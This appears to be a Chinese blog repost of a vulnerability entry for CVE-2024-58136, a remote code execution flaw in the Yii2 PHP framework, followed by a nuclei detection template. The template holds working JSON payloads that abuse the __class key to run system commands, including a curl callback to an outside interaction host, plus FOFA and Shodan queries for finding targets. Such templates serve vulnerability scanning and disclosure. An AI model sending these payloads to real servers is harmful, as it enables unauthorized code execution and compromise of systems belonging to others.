Yii2 PHP Framework Remote Code Execution Vulnerability

漏洞信息

漏洞名称: Yii2 PHP Framework Remote Code Execution Vulnerability

漏洞编号:

  • CVE: CVE-2024-58136

漏洞类型: 命令执行

漏洞等级: 严重

漏洞描述: Yii2是一个流行的PHP框架,广泛用于快速开发现代化的Web应用程序。它提供了丰富的功能,如MVC架构、表单验证、数据库抽象等,被许多开发者和企业采用。该框架的典型部署场景包括企业级服务和Web应用组件。此次发现的漏洞影响Yii2框架的2.0.52之前版本。漏洞的根源在于对JSON行为中的__class键的验证不当,攻击者可以利用这一点实例化任意PHP类,从而实现远程代码执行(RCE)。这种漏洞的技术原因是框架在处理用户提供的JSON数据时,未能充分验证和限制可实例化的类,导致攻击者可以注入恶意类并执行任意代码。由于该漏洞允许未经认证的攻击者远程执行代码,其潜在的安全风险极高,可能导致服务器被完全控制、数据泄露或服务中断。攻击者可以利用此漏洞自动化攻击,无需用户交互,因此威胁级别被评定为严重。

产品厂商: yiisoft

产品名称: Yii2 PHP Framework

影响版本: version < 2.0.52

搜索语法: title=”Yii”

来源: https://github.com/projectdiscovery/nuclei-templates/blob/649d15930cf913c6e2778bd763f2d0616aad6a71/http%2Fcves%2F2024%2FCVE-2024-58136.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

id: CVE-2024-58136

info:
name: Yii2 PHP Framework < 2.0.52 - Remote Code Execution
author: ritikchaddha
severity: critical
description: |
Yii2 PHP Framework before 2.0.52 is vulnerable to remote code execution via improper validation of the __class key in JSON behaviors. An attacker can instantiate arbitrary PHP classes and achieve RCE.
reference:
- https://infosecwriteups.com/from-behaviors-to-shells-yii2-php-framework-rce-cve-2024-58136-exploit-and-mitigation-e47a60a3cecb
- https://nvd.nist.gov/vuln/detail/CVE-2024-58136
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-58136
cwe-id: CWE-94
cpe: cpe:2.3:a:yiisoft:yii:2.0.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: yiisoft
product: yii
fofa-query: title="Yii"
shodan-query: title:"Yii"
tags: cve,cve2024,yii2,rce,php,framework

flow: http(1) && http(2)

http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}

redirect: true
matchers:
- type: word
words:
- "Yii"
internal: true

- raw:
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "system", "stream":"curl {{interactsh-url}}"}}

- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "phpinfo"}}

matchers-condition: or
matchers:
- type: word
part: interactsh_protocol
words:
- "http"

- type: word
words:
- "PHP Version"
- "PHP Extension"
condition: and



Yii2 PHP Framework Remote Code Execution Vulnerability
http://example.com/2025/07/22/github_3390652393/
作者
lianccc
发布于
2025年7月22日
许可协议